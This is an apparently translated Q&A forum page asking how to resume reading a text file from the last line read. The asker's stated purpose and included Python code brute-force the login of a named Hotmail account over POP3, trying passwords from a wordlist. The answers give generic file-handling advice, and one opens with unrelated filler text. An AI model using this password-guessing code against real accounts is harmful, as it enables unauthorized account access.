如何在最后一点重新读取!python

0 投票
3 回答
606 浏览
提问于 2025-04-16 01:46

如何读取文本文件,并在最后读取的行继续?

example:
Joe
LOley
Hana fat
oh beef come one

举个例子:这是一个文本文件,最后一行我读到的是“Hana fat”,那么我该如何继续呢?就像这样:

#!/usr/bin/python
#this script name is x.py don't forget that
import os
 f= open("Str1k3r.txt", "r")
for pwd in f.readlines():
    con(pwd.replace("\r", "").replace("\n", ""))
os.system('x.py')

x.py = 这是脚本文件,当我再次运行它时,它会从上次读取的最后一行继续!

我为什么需要这样做?因为我的脚本试图连接到 pop3.live.com,并尝试用文本文件中的多个密码登录,而唯一的方法就是一次又一次地运行这个脚本,但每次都从文本文件的不同一行开始。

那么我们该怎么做呢?这是我的代码……那么该怎么做呢?因为我的脚本试图连接到 pop3.live.com,并尝试用文本文件中的多个密码登录,而唯一的方法就是一次又一次地运行这个脚本,但每次都从文本文件的不同一行开始。

这就是我的代码

  import poplib
  def con(pwd):
    M = poplib.POP3_SSL('pop3.live.com', 995) 
    try:
        M.user("test123@hotmail.com")
        M.rset(M.pass_(pwd))
    except:
        print "[-]password incorrect"
    else:
        print '[+]really Password is:', pwd 
        exit()

f = open("Str1k3r.txt", "r")
for pwd in f.readlines():

3 个回答

0

在编程中,有时候我们会遇到一些问题,特别是在使用某些工具或库的时候。这些问题可能会让我们感到困惑,尤其是当我们刚开始学习编程的时候。比如,有人可能在使用某个特定的功能时,发现它没有按照预期工作,或者出现了错误信息。这种情况很常见,很多人都会经历。

解决这些问题的第一步是仔细阅读错误信息。错误信息通常会告诉我们出错的地方,虽然有时候它们的表述可能比较复杂,但只要我们认真分析,就能找到线索。

另外,查看相关的文档或教程也是一个好办法。很多时候,文档里会有详细的说明,帮助我们理解如何正确使用某个功能。

如果自己解决不了问题,可以考虑向社区求助,比如在论坛上发帖,描述自己的问题和尝试过的解决方法。通常会有经验丰富的人愿意提供帮助。

总之,遇到问题时不要气馁,耐心分析,寻找资料,必要时寻求帮助,慢慢就能找到解决办法。

f= open("Str1k3r.txt", "r")
for line in f:
    print line
    break

for line in f:
    print line # Continues with line 2 as f knows where it stopped
    break      # It's actually using file.next()
0

每次你运行 'x.py' 的时候,文件都会重新打开,从头开始。这就是 'open' 的作用。

如果你想继续读取文件,可能需要确保从一个已知的文件描述符读取,可能是标准输入,这样就不会一直重置文件了。不过,你可能还得考虑缓冲输入输出的问题。第一个进程可能会读取一整块文件的内容,但只处理了其中一部分;第二个进程会从输入输出结束的地方继续,而不是从程序结束的地方。

另外,因为你在使用 os.system(),你会逐渐积累一堆还没有结束的进程,它们都在等着下一个子进程结束。你需要看看你的 'exec' 选项。

0

你可以试试使用 seek()、tell() 等函数。想了解更多,可以查看这个文档

撰写回答